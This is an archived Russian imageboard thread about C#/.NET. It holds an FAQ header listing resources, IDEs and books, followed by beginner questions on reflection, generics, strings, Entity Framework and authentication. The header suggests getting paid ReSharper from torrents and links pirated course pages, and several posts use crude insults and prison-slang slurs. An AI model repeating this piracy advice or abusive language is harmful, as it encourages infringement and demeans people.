Этого треда уже нет.
Это копия, сохраненная 3 января 2021 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
1592287795815.png331 Кб, 1044x1122
C#/Сишарп/.NET Тред #20 /csharp/ 1724425 В конец треда | Веб
Существует множество различных платформ и языков программирования, однако среди них нет более элитного, чем C#. Это поистине язык богов, сочетающий в себе простоту использования с поистине неограниченными возможностями. Знание C# — прекрасный детектор современного, умного и успешного человека. Изучение платформы .NET безошибочно указывает на успешного в будущем человека.
ITT элита продолжает обсуждает будущее этого прекрасного и современного продукта компании Microsoft. Только в этом треде элитные разработчики ответят на самые острые вопросы индустрии. Также не забываем напоминать залетным Жаба-петухам о их месте возле параши, которая уже давно навечно забилась легаси-дерьмом и ждёт неминуемой смерти Жабы.

Литература вторым постом

1. Ресурсы:
- http://stackoverflow.com/questions/tagged/c#
- http://www.tutorialspoint.com/csharp/
- http://professorweb.ru
- http://net-informations.com
- http://habrahabr.ru/hub/csharp/

2. Онлайн-компиляторы:
- https://dotnetfiddle.net/ - возможно лучший вариант. Встроено немного убогое, но все-таки автодополнение и проверка синтаксиса.
- http://ideone.com/
- http://csharppad.com/
- http://www.tutorialspoint.com/compile_csharp_online.php
- http://rextester.com/l/csharp_online_compiler

3. WinForms или WPF?
Зависит от задачи. Для небольших проектов, скорее всего, будет достаточно винформочек. В случае, если разрабатываемое приложение достаточно серьёзное, то возможно его стоит писать с использованием WPF. WPF очень хорошо работает с паттерном MVVM ( https://ru.wikipedia.org/wiki/Model-View-ViewModel ), и позволяет пилить очень кастомизированные интерфейсы с помощью XAML, что в случае WinForms, делать намного сложнее. Оба будут поддерживаться в .NET Core, поэтому не стоит беспокоиться о будущем, если шлёпаете формочки.

4. Мне тут знакомый_нейм сказал, что C# умирает, это правда? Может не стоит его учить?
Неправда. C# довольно активно развивается, недавно вышла третья версия .NET Core фреймворка и восьмая версия языка. Весь дотнет понемногу становится опенсорсным, а ASP.NET становится независимым от платформы. В некотором смысле понемногу вымирают десктопные приложения с развитием веб-технологий, но в том же энтерпрайзе он еще очень даже востребован.

5. Какую ИДЕ выбрать?
Для Windows самым очевидным вариантом будет Visual Studio (https://www.visualstudio.com/en-us/downloads/download-visual-studio-vs.aspx). Студия распространяется в двух редакциях: бесплатная коммьюнити-версия и платный энтерпрейс эдишн. В большинстве случае будет достаточно Community-версии: она поддерживает и C#, C++, VB.NET и F#, а так же имеет возможность установки дополнений
Для мака и никсов самый юзабельный вариант - MonoDevelop ( http://www.monodevelop.com/download/ ).
Для vim можно использовать OmniSharp ( https://github.com/OmniSharp/omnisharp-vim ).
Кросплатформенный полуредактор/полуIDE VS Code ( https://www.visualstudio.com/en-us/products/code-vs.aspx )
Также существуют плагины для Atom'а и Sublime Text, но функциональность там достаточно сильно урезана.
Кроме того, в данный момент JetBrains активно пилит свою IDE для шарпа (Project Rider), вероятно в ближайшее время станут доступны первые EAP. IDE заявлена как кросплатформенная, со всем решарпер-функционалом, поддержкой отладки, моно и .net core.
SharpDevelop - еще одна IDE для C#, отличается малым размером (около 20мб) и опциональной портабельностью, при этом имея дизайнер WinForms и WPF, а также интеграцию с FxCop, StyleCop и прочими ништяками. Если хочется что-то по быстрому набросать, а выкачивать гигабйты нет желания, то возможно SharpDevelop будет лучшим вариантом.

6. С# для мобильной разработки
Если нужны инструменты для разработке под мобилы, смотри сюда - https://docs.microsoft.com/ru-ru/visualstudio/cross-platform/cross-platform-mobile-development-in-visual-studio?view=vs-2019.
Из актуальной литературы
- Xamarin Mobile Application Development
- Xamarin Essentials

7. Дополнительные инструменты для разработки на C#
LINQPad - сорт оф REPL, с возможностью быстрого подключения к БД и удобной визуализацией данных
dnSpy - декомпилятор, малоизвестный форк ILSpy, где реализована возможность модификации IL-кода прямо в EXE и DLL файлах, отладка IL-кода и много других фич для reverse engineering'а. Плюс няшные темы как в студии
scriptcs - для запуска C# кода как скриптов, возможность использовать как REPL

8. Расширения для студии
ReSharper - одно из известнейших. Рефакторинги, умный автокомплит, настраиваемый стиль кода. Платный, но можно стянуть с торрентов
Supercharger - показывает "карту" с классами, методами и всем остальным сбоку от кода с возможностью прыгать по ним
Indent Guides - показывает вертикальные линии на каждом уровне отступов.
Format document on Save - форматирует код каждый раз при сохранении документа
Code alignment - Выравнивает код по указанным символам. Удобно, например, при инициализации словарей или в перечислениях

Обзор Roslyn: https://github.com/dotnet/roslyn/wiki/Roslyn Overview
Новые возможности C# 8.0: https://docs.microsoft.com/ru-ru/dotnet/csharp/whats-new/csharp-8

Код этой шапки: https://pastebin.com/YJFQKsNm

Прошлый тред тонет здесь: >>1665540 (OP)
2 1724428
9. Что почитать?
- The C# Player's Guide, второе издание (RB Whitaker) - отличная книга для ньюфагов в шарпе, все расписывается довольно подробно, очень много примеров кода.
- C# 7.0 in a Nutshell (Joseph Albahari и Ben Albahari) - огромнейший справочник, over 1000 страниц, покрывает почти все области, начиная с синтаксиса и базовых типов и заканчивая интеропом и рослином. Уже появилось издание для 8.0, однако в интернетах пока его нет.
- C# 7.0 Pocket Reference (Joseph Albahari и Ben Albahari) - просто выжимка из справочника, можно всегда держать рукой
- Pro C# 7: With .NET and .NET Core (Andrew Troelsen) - 1600-страничный учебник по шарпу, покрывает BCL, WPF и ASP.NET, небо и даже аллаха.
- C# 6.0 Cookbook (Jay Hilyard и Stephen Teilhet) - книга в формате "проблема-решение", можно пройтись по оглавлению, найти интересные проблемы и попыпаться самому решить, а уже потом посмотреть представленное решение. Книга скорее не для ньюфагов, а для тех, кто уже знаком с шарпом.

10. Более хардкорный материал
- CLR via C# (Jeffrey Richter) - это классика, это знать надо.
- C# in Depth (Jon Skeet) - написана в виде истории версий C#, начиная с C#1.0. Описываются возможности, которые были добавлены в определенной версии и далее достаточно хардкорно и подробно эти возможности расписываются.
- Writing High Performance .NET Code (Ben Watson) - охуенная книга. В основном фокуируется на оптимизации дотнет-говна. Методы оптимизации проложений, профилирование, вот это все. Крутейшая и достаточно детальная глава по GC. Рассматриваются достаточно известные проблемы вроде "for vs foreach", "класс vs структрура", кастинг, боксинг, перфоманс регулярок, коллекций, исключений. Короче все что нужно, чтобы вам перезвонили.

11. Хочу еще хардкорней
- C# Deconstructed (Mohammad Rahman) - введение в CLR, модели памяти и выполнения в CLR, байтоебство, JIT. Книга достаточно коротенькая, менее 200 страниц, можно осилить за пару дней. Желателен опыт работы WinDbg и понимание устройства PE-формата.
- Expert C# 5.0 with .NET 4.5 Framework - еще одна книга этого автора, в этот раз намного длиннее. Очень много IL, анализа и разбора стандартной либы (те же коллекции), разбор ивентов, дегегатов, асинхронности etc. на уровне байткода.
- .NET IL Assembler (Serge Lidin) - ILёбство, во многих местах повторяет документацию MSDN, но при этом имеет много интересных дополнений и заметок. Кроме того все неплохо структуировано и разложено по красивым табличкам

12. Литература по WPF
Из более-менее актуального можно выделить пару книг:
- Pro WPF 4.5 in C# (Matthew MacDonald)
- Windows Presentation Foundation 4.5 Cookbook (Pavel Yosifovich)

13. Литература по ASP.NET
- Professional ASP.NET MVC 5 (Jon Galloway, Brad Wilson, K. Scott Allen, David Matson)
- Pro ASP.NET MVC 5 Platform (Adam Freeman)
- Beginning ASP.NET for Visual Studio 2015 (William Penberthy)

14. Литература по асинхронности, параллелизму и всему такому
- Concurrency in C# Cookbook (Stephen Cleary) - книга, написанная в формате "проблема - решение". Кроме базовых вещей, вроде асинков и параллелизма рассматриваются TPL Dataflows, Rx (реактивные расширения), тестирование всего этого асинхронного добра, ну и работа этого всего на более низких уровнях абстракции
- Multithreading in C# 5.0 Cookbook - в основном ничего интересного, но есть довольна неплохая глава про синхронизацию, пусть и не слишком детальная
- Pro Asynchronous Programming with .NET (Richard Blewett, Andrew Clymer) - опять же, интересного немного, но неплохие главы про асинхронность + UI и анализ дампов памяти в windbg

15. Литература не по шарпу, но так или иначе связанная с языком
C# Game Programming Cookbook for Unity 3D (Jeff W. Murray) - разработка на шарпе под Unity
Introduction to Neural Networks with C# (Jeff Heaton) - изучение нейронных сетей с примерами кода на шарпе. Под конец пишем программу для распознавания символов и нейроботов.
Machine Learning Using C# Succinctly (James D. McCaffrey) - довольная коротенькая книга на тему машинного обучения с примерами кода на C#. Ничего особого: k-средние, классификация, наивный байес, но с кодом, который всегда можно поразбирать, если что неясно.

16. Но я не знаю английский, как я буду это все читать?
На некоторые из перечисленных книг есть переводы, которые можно найти на том же рутрекере, однако, зачастую эти переводы неактальны, содержат неточности, и не самые понятные варианты перевода. Кроме того, переводы обычно пилятся только для нескольких самых популярных книг, более-менее серьёзный материал не переводят. Всегда можно сесть со словарем и понемногу читать, переводя непонятные фрагменты. Это очень полезно, так как в любом случае в разработке без знания ангельского делать нечего. Если очень хочется, то гуглить по запросам: "C# 5.0, Справочник. Полное описание языка", "C# для профессионалов. Тонкости программирования", "Программирование на платформе Microsoft .NET Framework 4.5 на языке C#"

17. Что еще нужно знать, чтобы взяли работать за еду?
- SQL - подойдет люая книг по MSSQL/MySQL, базовые запросы, SELECT, INSERT, DELETE, UPDATE. Джойны, индексы, нормализация. В контексте шарпа еще ORM: Entity Framework, Dapper
- Системы контроля версий - обычно гита достаточно: add/commit/push, merge, rebase, checkout, remote's, разрешение конфликтов, трехпанельные дифф-менеджеры, cherry-pick
- Гитхабы-гитхабчики - issues, организация пулл-реквестов, интеграция с appveyor, теги, релизы, маркдаун
- Алгоритмы - сложность алгоритмов, сортировки (пузырек, быстрая, вставками), поиск, рекурсия, алгоритмы на строках
- Структуры данных - связанные списки, деревья (бинарные, красно-черные, b-деревья), хеш-таблицы, графы
- Если идти в веб - HTML, CSS, JavaScript, веб-сокеты, REST
- Паттерны проектирования, стиль кода, внедрение зависимостей, MVVM (если хочется в WPF), SOLID

18. Я не умею читать, что посмотреть?
- Programming with C# - https://www.edx.org/course/programming-c-microsoft-dev204x-0
- Beginning Game Programming with C# - https://www.coursera.org/course/gameprogramming
- C# Fundamentals: Development for Absolute Beginners - https://goo.gl/meyyxO
- Коллекция видеоуроков, по всему дотнетовскому и смежным темам (250 часов, на русском) - https://nnm-club.me/forum/viewtopic.php?t=891636
- Набор курсов по C# от O'Reilly Media (28 часов, на английском) - http://rutracker.org/forum/viewtopic.php?t=5082978
2 1724428
9. Что почитать?
- The C# Player's Guide, второе издание (RB Whitaker) - отличная книга для ньюфагов в шарпе, все расписывается довольно подробно, очень много примеров кода.
- C# 7.0 in a Nutshell (Joseph Albahari и Ben Albahari) - огромнейший справочник, over 1000 страниц, покрывает почти все области, начиная с синтаксиса и базовых типов и заканчивая интеропом и рослином. Уже появилось издание для 8.0, однако в интернетах пока его нет.
- C# 7.0 Pocket Reference (Joseph Albahari и Ben Albahari) - просто выжимка из справочника, можно всегда держать рукой
- Pro C# 7: With .NET and .NET Core (Andrew Troelsen) - 1600-страничный учебник по шарпу, покрывает BCL, WPF и ASP.NET, небо и даже аллаха.
- C# 6.0 Cookbook (Jay Hilyard и Stephen Teilhet) - книга в формате "проблема-решение", можно пройтись по оглавлению, найти интересные проблемы и попыпаться самому решить, а уже потом посмотреть представленное решение. Книга скорее не для ньюфагов, а для тех, кто уже знаком с шарпом.

10. Более хардкорный материал
- CLR via C# (Jeffrey Richter) - это классика, это знать надо.
- C# in Depth (Jon Skeet) - написана в виде истории версий C#, начиная с C#1.0. Описываются возможности, которые были добавлены в определенной версии и далее достаточно хардкорно и подробно эти возможности расписываются.
- Writing High Performance .NET Code (Ben Watson) - охуенная книга. В основном фокуируется на оптимизации дотнет-говна. Методы оптимизации проложений, профилирование, вот это все. Крутейшая и достаточно детальная глава по GC. Рассматриваются достаточно известные проблемы вроде "for vs foreach", "класс vs структрура", кастинг, боксинг, перфоманс регулярок, коллекций, исключений. Короче все что нужно, чтобы вам перезвонили.

11. Хочу еще хардкорней
- C# Deconstructed (Mohammad Rahman) - введение в CLR, модели памяти и выполнения в CLR, байтоебство, JIT. Книга достаточно коротенькая, менее 200 страниц, можно осилить за пару дней. Желателен опыт работы WinDbg и понимание устройства PE-формата.
- Expert C# 5.0 with .NET 4.5 Framework - еще одна книга этого автора, в этот раз намного длиннее. Очень много IL, анализа и разбора стандартной либы (те же коллекции), разбор ивентов, дегегатов, асинхронности etc. на уровне байткода.
- .NET IL Assembler (Serge Lidin) - ILёбство, во многих местах повторяет документацию MSDN, но при этом имеет много интересных дополнений и заметок. Кроме того все неплохо структуировано и разложено по красивым табличкам

12. Литература по WPF
Из более-менее актуального можно выделить пару книг:
- Pro WPF 4.5 in C# (Matthew MacDonald)
- Windows Presentation Foundation 4.5 Cookbook (Pavel Yosifovich)

13. Литература по ASP.NET
- Professional ASP.NET MVC 5 (Jon Galloway, Brad Wilson, K. Scott Allen, David Matson)
- Pro ASP.NET MVC 5 Platform (Adam Freeman)
- Beginning ASP.NET for Visual Studio 2015 (William Penberthy)

14. Литература по асинхронности, параллелизму и всему такому
- Concurrency in C# Cookbook (Stephen Cleary) - книга, написанная в формате "проблема - решение". Кроме базовых вещей, вроде асинков и параллелизма рассматриваются TPL Dataflows, Rx (реактивные расширения), тестирование всего этого асинхронного добра, ну и работа этого всего на более низких уровнях абстракции
- Multithreading in C# 5.0 Cookbook - в основном ничего интересного, но есть довольна неплохая глава про синхронизацию, пусть и не слишком детальная
- Pro Asynchronous Programming with .NET (Richard Blewett, Andrew Clymer) - опять же, интересного немного, но неплохие главы про асинхронность + UI и анализ дампов памяти в windbg

15. Литература не по шарпу, но так или иначе связанная с языком
C# Game Programming Cookbook for Unity 3D (Jeff W. Murray) - разработка на шарпе под Unity
Introduction to Neural Networks with C# (Jeff Heaton) - изучение нейронных сетей с примерами кода на шарпе. Под конец пишем программу для распознавания символов и нейроботов.
Machine Learning Using C# Succinctly (James D. McCaffrey) - довольная коротенькая книга на тему машинного обучения с примерами кода на C#. Ничего особого: k-средние, классификация, наивный байес, но с кодом, который всегда можно поразбирать, если что неясно.

16. Но я не знаю английский, как я буду это все читать?
На некоторые из перечисленных книг есть переводы, которые можно найти на том же рутрекере, однако, зачастую эти переводы неактальны, содержат неточности, и не самые понятные варианты перевода. Кроме того, переводы обычно пилятся только для нескольких самых популярных книг, более-менее серьёзный материал не переводят. Всегда можно сесть со словарем и понемногу читать, переводя непонятные фрагменты. Это очень полезно, так как в любом случае в разработке без знания ангельского делать нечего. Если очень хочется, то гуглить по запросам: "C# 5.0, Справочник. Полное описание языка", "C# для профессионалов. Тонкости программирования", "Программирование на платформе Microsoft .NET Framework 4.5 на языке C#"

17. Что еще нужно знать, чтобы взяли работать за еду?
- SQL - подойдет люая книг по MSSQL/MySQL, базовые запросы, SELECT, INSERT, DELETE, UPDATE. Джойны, индексы, нормализация. В контексте шарпа еще ORM: Entity Framework, Dapper
- Системы контроля версий - обычно гита достаточно: add/commit/push, merge, rebase, checkout, remote's, разрешение конфликтов, трехпанельные дифф-менеджеры, cherry-pick
- Гитхабы-гитхабчики - issues, организация пулл-реквестов, интеграция с appveyor, теги, релизы, маркдаун
- Алгоритмы - сложность алгоритмов, сортировки (пузырек, быстрая, вставками), поиск, рекурсия, алгоритмы на строках
- Структуры данных - связанные списки, деревья (бинарные, красно-черные, b-деревья), хеш-таблицы, графы
- Если идти в веб - HTML, CSS, JavaScript, веб-сокеты, REST
- Паттерны проектирования, стиль кода, внедрение зависимостей, MVVM (если хочется в WPF), SOLID

18. Я не умею читать, что посмотреть?
- Programming with C# - https://www.edx.org/course/programming-c-microsoft-dev204x-0
- Beginning Game Programming with C# - https://www.coursera.org/course/gameprogramming
- C# Fundamentals: Development for Absolute Beginners - https://goo.gl/meyyxO
- Коллекция видеоуроков, по всему дотнетовскому и смежным темам (250 часов, на русском) - https://nnm-club.me/forum/viewtopic.php?t=891636
- Набор курсов по C# от O'Reilly Media (28 часов, на английском) - http://rutracker.org/forum/viewtopic.php?t=5082978
3 1724491
Благословляю тред
шарпошиз
4 1724492
>>724425 (OP)

>Также не забываем напоминать залетным Жаба-петухам о их месте возле параши, которая уже давно навечно забилась легаси-дерьмом и ждёт неминуемой смерти Жабы.


Уберите из шапки.
5 1724494
>>1723695 →
>>1724005 →
Бампаю вопрос. Нихуя не понимаю, где рефлексия используется. Чес слово. На пальцах - у меня хоститься ASP.NET Core 3.0 бэкенд (назовем его Main) в виде Web Api для моей GUI на React свестелки-перделки. Задача бэка - оперировать данными полученных с фронта (обычный мать его КРУД). На кой хуй, вопрос - мне рефлексия. Предлоложим, что у меня должен быть 24/7 аптайм в моем Main (бэке) и у меня нет доступа к исходнику своей же бэк-side апликухи (окей), в этом случае исходя из поста >>1724005 → я создаю отдельный солюшен, рефлекшу свой Main, прикручиваю функционал, которого нет на Main и ... Что блять дальше? Хостить его на другом порте, чи шо? И как я буду манипулировать сотней Reference в мой "Костыль" из Main? И как Main вообще будет знать о таком "Костыле". Нипонимаю, нихуя.
Реальный юзкейс для Reflection, который я нашел - это InteliSense и disassembler.
Поясните, христа ради, кто в теме.
6 1724495
>>724492
хорошо, что заметил. Что за долбоеб создавал тред?
7 1724504
>>724495
Двачую C# и Java - братья на век.
8 1724508
>>724425 (OP)
professorweb или metanit?
9 1724523
>>724508
цель?
10 1724536
>>724508
Ну если время проебать хочешь и создать видимость того, что ты какие-то навыки и знания приобретаешь, то оба ресурса справятся с этой задачей одинаково хорошо. Если хочешь навыков и знаний, то тут только книги из шапки. Рекомендую начинать с Троелсена.
11 1724557
>>724494

>Вопрос - зочем? Ладно, если какой то крупный интерпрайз 24/7 крутиться в продакшене и к нему нет доступа


При чем тут продакшн и доступ к нему? Возьми программу типа браузера, ты можешь написать к нему расширение. Чтобы это расширение работало, браузеру нужно использовать рефлексию и изучать код твоего расширения, встраивая его функционал в рантайме. Т. е. при помощи рефлексии ты делаешь свою программу расширяемой.

>К примеру?


Любой фреймворк, от WPF до ASP.NET, все они используют рефлексию, дописывая большую часть кода за тебя.
Если используешь Атрибуты, значит тоже используешь рефлексию, например при создании типа в который у тебя будет парситься JSON, ты добавляешь свойству атрибут JsonConverter(typeof(DetailsBodyConverter)) и таким образом библиотека понимает, что ей нужно достать из метаданных этот JSON конвертер и использовать его при парсинге.

>3. Почему не перекомпелировать?


К какому пункту это относится? Если к последнему, то я написал, что возможности заново компилировать код может и не быть, например если ты проебал исходники на какой-нибудь старый модуль, который нужно изменить.

> На кой хуй, вопрос - мне рефлексия.


Тебе уже всё в том посте описал. Ты какое-то дерьмо непонятное придумал и спрашиваешь зачем тебе рефлексия, так, будто её нужно применять везде, независимо от приложения и его назначения.
12 1724563
>>724557

>браузеру нужно использовать рефлексию и изучать код твоего расширения


хороший пример

>Если используешь Атрибуты, значит тоже используешь рефлексию


разве это не обычная библиотека?
Спасибо за ответы, впринципе прояснил - это как на WebApi делать эндпоинты для модулей, расширяющих функционал приложения. Поэтому я и спрашивал за то, как основной модуль узнает о всех новых - аналог метода со входящими параметрами.
13 1724589
>>1724515 →
Вы с нуля проекты пердолите? Если да, то я смотрел спичи (часовые) на релизах - там были чуваки, которые толкали за архитектуру. Были ли мне полезны эти знания - нет. Делал себе заметки, пересмотрел даже, в голове остались 1-2 фичи, остальное - как смысло в унитаз
14 1724799
Есть годная литература по ASP NET Core?
15 1724815
>>724799
мне сегодня контора объявила, что передумала меня на курсы шарпа отправлять.
знак свыше! пойду питон дальше учить
16 1724822
>>724815
Это тебе знак искать другую контору. На тебе поставили крест.
17 1724829
Вы так говорите "джава", будто она тоже для клепания формочек для шинды.
18 1724837
>>724822
само собой...
19 1724875
>>724815
>>724822
не факт, скорее всего просто проекты прикрыли на решетках. Я уже писал в прошлом треде - у нас так отдел распустили. Так что или прыгнешь на другой стул или пойдешь по ветру
20 1724901
>>724563

>разве это не обычная библиотека?


Что "это"? Если ты попробуешь создать свой атрибут, то поймешь, что без рефлексии он будет бесполезен, потому что понять, что у класса есть какой-то атрибут, можно только при помощи рефлексии.
21 1724904
>>724829

>тоже


У неё одно предназначение - ковырять многолетнее легаси, которое написали индусы за 2$/день.
22 1724912
>>724904
А то в остальных не-хипстерских языках не так.
23 1725003
>>724536
В чем разница между книгой и этими сайтами? В книгах только воды побольше
24 1725029
>>725003

>воды



Почему? Потому что тебе лень мозгами шевелить и хочется верить в чудо вида "вот щяс прачитаю мутанита и стану сишарпирам даа... вооот...."? У сайтов вообще нет никакого практического применения. Если тебе нужно краткое изложение и освежить память, то для этого есть исчерпывающая документация. Научить они ничему не могут. Вот и выходит, что их применение это подкрепление маняфантазий лентяев вроде тебя.
25 1725055
А у меня вопрос немного касающийся шарпа сбоку. Смотрите, есть клиент на Angular, очивидно я хочу логинить/регистрировать пользователя. Так вот, как мне передавать данные от пользователя? Ну, т.е. я понимаю, что не в открытом виде. Но какой механизм обычно используется? Скажем, если я на стороне клиента зашифрую информацию о нем с помощью SHA256, то как мне расшифровать это на стороне сервера это дело? А потом же надо заново зашифровать чтобы в БД сохранить, что в данном случае используют умные дядьки в качестве соли?
Как же плохо, когда на твоей специальности не было криптографии и вообще вам просто говорили: не еби мозг и бери готовое решение.
26 1725059
>>725055
Бери ASP.NET и не еби мозги, тебе всё правильно говорили. В любом случае, если ты не придёшь к уже готовому решению, то сделаешь только хуже.
27 1725065
>>725059
Я не могу пользоваться готовыми решениями, если сам к ним не пришел. Такой вот я мудак.
28 1725075
>>725065
Ну тогда бери готовое решение и смотри как сделано в нём. Ты ведь не настолько тупой, чтобы думать, что тебе сейчас в одном посте распишут путь по которому ты придёшь к готовому решению, верно?
29 1725134
ребят объясните как читается эта запись и что почитать об этом?

IEnumerable<TResult> GetProductsWithStock<TResult>(Func<Product, TResult> selector);
30 1725145
>>725134
ЯПеречеслитель< для типа ТэРесалт> ДайПродуктыСоСтока <для типа ТэРесалт>(Функция< для типов Продукт, ТэРесалты> выборщик)

А если серьезно, это женерик, на вход функции подается делегат функции, результатом которого будет TResult.

Скажем для инта это будет значить
IEnumerable<int> GetProductsWithStock<int>(Func<Product, int> selector); что ты хочешь получить перечислитель типа int, для этого ты передаешь ссылку на функцию, для типа Product результатом которой будет int.

ХЗ понятнее ли тебе стало.
Чтобы понимать это проще, нужно про женерки почитать и, соответственно, делегаты.
.png63 Кб, 1444x864
31 1725188
>>725134
Да, вот тебе простой пример.
Так конечно делать неправильно, но может быть суть яснее станет.На деле женерики почти никогда не нужны и использовать их следует только если ты знаешь что именно сейчас оно и надо.
Да, про интерфейсы ничего не сказал, но суть, интерфейс это как-бы контракт между программистам, который гарантирует, что у объекта который имплементирует интерфейм будет какой-то набор методов -> указывая что в функцию передадут объект "ЯДрочлио" ты можешь не париться и более-менее быть уверен что у объекта будет метод "Дрочить" с определенной сигнатурой и ты можешь его использовать, а если все обвалится это проблемы того кто имплементировал интерфейс, а не твои.

долбоеб второкурсник
32 1725727
Посоны, кто на питоне пишет в Visual Studio, объясните, почему при открытие отдельного файла, вне проекта, окно Class View пустое, как заставить среду, чтобы она парсила файл в любом случае, хоть в отдельном файле, хоть в проекте?
33 1725806
>>725188

>долбоеб


только в этом ты прав
34 1725829
>>725727
На питоне же неудобно пиздец писать в студии, автокомплит через жопу работает.
35 1725841
>>725829

Я не хочу себе другую иде заводить для питона. Мне он на время нужен.
36 1726004
C# - это легаси, надо мигрировать на vala с с-апи, это будущее.
37 1726336
>>724508
ulearn
38 1726340
>>726004
Зачем, если давно уже стандарт делать гуй в браузере? Я сейчас не про электрон.
39 1726473
>>725806
Окей. Поясни. Давай, мне даже интересно.
По твоему женерки нужно во все дырки пихать? А может быть интерфейс это не обычное указание того что ты хочешь обьек, который имеет функцию с такой сигнатурой?
40 1726486
Немного покодил на шарпе. Много сахарка, но все же родные кресты мне ближе. А еще со строками какая то херота, зачем было делать string и stringbuilder?
41 1726494
>>726486
Потому что во многих языках дрочат на иммутабельность, и строки здесь неизменяемые. И принято, если нужно сконкатенировать несколько строк, юзать билдер.
42 1726495
Посоветуйте какую-нибудь книгу по SQL. Кушать хочется, а без него на работу не берут.
43 1726536
Ребята, только начал изучать шарп, сделал задание по созданию класса X содержащего массив из элементов другого класса Y и несколько методов. Сейчас второе задание:
Customize X class using various types of statements and parameters.
Может кто кто конкретнее объяснить что нужно сделать(с примером небольшим?)
44 1726550
>>726536
Попробуй параметров в конструктор нахуярить, чтобы когда экземпляр своего класса создаешь поля задавались корректными значениями.
45 1726561
>>726473

>Давай, мне даже интересно.


хуй привстал даже? Долбоеб второкурсник, который не знает за боксинг/анбоксинг? Или не знает за систему контроля типов? И ковариантность наверное не нужна? Прийдешь на галерку (если прийдешь, в чем я сомневаюсь по предыдущему посту) тебе там пояснят как нужно типы создавать. И попробуй такое на собесе пиздануть, что дженерики не нужны, не успеешь перднуть, как полетишь пинком под зад
>>726486

>string и stringbuilder


system.string - статическая
system.text.stringbuilder - динамическая
Дрочилам по быстродействию и расчету байтов - инструмент оптимизации. Кресты лучше, бросай эту хуйню
>>726494

>во многих языках дрочат на иммутабельность


ФП петух в треде, я спокоен
>>726495

>книгу по SQL


u gonna be kidding me
>>726536

>Customize X class using various types of statements and parameters.


как ты тогда учишь, если после первого задания ты бежишь на борду спрашивать что и как? Если хочешь начать осваивать ЯП первый совет тебе - научись находить решения самостоятельно
46 1726564
>>726561
Снобствующий долбоеб называет кого-то петухом. Спешите видеть.
47 1726571
>>726561

> ФП петух в треде, я спокоен


Чини детектор, я лютый сторонник мутабельности и вообще императивщины.
Code.jpg439 Кб, 1890x1025
48 1726693
Что я не так делаю? Почему это не похоже на урок по сишарпу? Где using system и прочее говно?
49 1726695
>>726693

>Почему это не похоже на урок по сишарпу?


Потому что это С++.
50 1726698
>>726695
Как заставить это сделать консольное приложение по c#?
51 1726747
>>726698

>Как заставить это сделать консольное приложение по c#?


Переписать на c#
52 1727560
Помните я спрашивал про поиск пустых и жаловался на то что память жрет. Вы еще тогда посоветовали что-то типа:
var freeID = _db.Users.Select(x=>x.ID+1).Except(_db.Users.Select(x=>x.ID)).OrderBy(x).First();
Так вот, я два дня мучался с таким вот способом, но EF упорно кидает ошибку The binary operator is not defined. Вот блин, что не так-то я делаю? Почему если я делаю это же но предварительно в лист запихнув ID все работает нормально(но жрет кучу памяти). Вернее я понимаю, это какая-то срань с IQueryable(наверное), наверное надо Where использовать, но блин. Аааааа. Я горю от своей тупости. Нахуй я в эту залупу полез-то? Да и вообще, имхо было бы проще реально написать просто SQL запрос, но типа же это не тру вей для .net'чика, но блядь, 2 дня проебать пытаясь эту срань сделать, когда мог бы за минуту написать нативный запрос. Пиздос нахуй
53 1727968
>>727560
Че за база? Я проверял на SQLite все работало. Подключи логгер и посмотри что за запросы улетают в базу. Мне, например, еф генерировал cross apply. хотя sqlite его не поддерживает.
А еще IQueryable не могет (но это не точно) в Equals, надо через == писать.
54 1728363
>>727968

> Че за база?


PostgreSQL.
Подключу, но уже в понедельник.
55 1728398
>>726561

>u gonna be kidding me


>gonna

A89bwlA6.png54 Кб, 512x512
56 1728619
>>724425 (OP)
Привет скажите пожалуйста куда нажать если я прям совсем дурачок клинический(0 опыта в программировании) но очень хочу научиться сишарпу, ну или на крайний случай направьте куда то еще, спасибо!
ну не надо писать там про всякое на сонную артерию себе нажми или на кнопку выключения компьютера не надо я правда интересуюсь
57 1728623
>>728619
Начни с установки Visual Studio 2019.

https://www.youtube.com/watch?v=ZO7KXU2GNqA

Там же есть видосы для совсем новичков, кроме того на рутрекере видеокурсы лежат. Вникай, гугли, читай, не ленись писать код и все комментируй для себя, как понимаешь. В последствии все это может тебе пригодиться.
58 1728628
>>728623
Понял, спасибо. А сишарп вообще нормальная отправная точка? Или это прыжок выше головы? Не нужно какой-нибудь питон учить сначала? Или опыт в одном языке мало помогает в другом?
59 1728640
>>728628
Если ты хочешь именно c#, то стартуй с него. Захочешь - вьедешь в любой язык, до определенного предела, который зависит от твоего стремления учиться.

Если сам не знаешь чего хочешь, то сперва определись для себя сам. Поспрашивай по тредам конкретные вопросы. Погугли. Так-то все высокоуровневые языки для макак и домохозяек делаются. Ничего сложного именно в освоении нет.
60 1728662
private void test()
{
bool flag = true;
while (true)
{
try
{
if (!flag)
;
if (Content())

Пацаны, я в шарп не в зуб ногой, но нужно переписать шарп на питон. Что значит строчка:
if (!flag)
;
Если flag = false, то что мы делаем? Ничего? Вызывается exception?
61 1728665
>>728662
Просто я нихуя не пойму. Шизик старательно в функции меняет значения flag с True на False и обратно, но единственная проверка на этот flag это вот:
if (!flag)
пробел_;
62 1728670
>>728665
пробел_;
Символ удаления же.
63 1728671
>>728665
Там могла быть неиспользуемая переменная, которую среда обычно предлагает заменить на символ удаления.
64 1728675
>>728662
>>728665
Кажется этот код ничего не делает. Он не рабочий.
15922041844460.png131 Кб, 500x427
65 1728691
Вкатываюсь в айти через дотнет!
66 1728693
>>728691
Прощай...
67 1728695
>>728693
Да нет, в школе был стремный жс, сейчас читаю Троелсена, вроде нормально идет. Только не понял, зачем нужны F# и визуал бэйсик.
68 1728710
>>728695

>в школе был стремный жс


Что? Ты в слове паскаль сделал пару ошибок.
69 1728716
>>728710
Деда, ты от жизни отстал. В школах давно перешли на JS и питон. Между делам рассказывают про древние технологии времен палеолита, типа ПХП и джавы, но это так, для общего развития.
70 1728727
В общем, я бы хотел чтобы пользователь с правами суперюзера мог изменять настройки для моего приложения на лету. Скажем, он решит что сегодня мы не регистрируем клиентов, жмакнул в менюшке и контроллер при попытке регистрации будет отдавать 400 ошибку всем решившим зарегаться. Или что надо ограничить число единовременных подключений. Вот это вот все. Ну, собственно, как это сделать динамически? Все настройки-то я вынес в appsetting.json, там можно все настроить и при перезапуске оно сменится. А как теперь сделать чтобы это же из админской менюшки на сайте делалось-бы?
71 1728788
>>728363
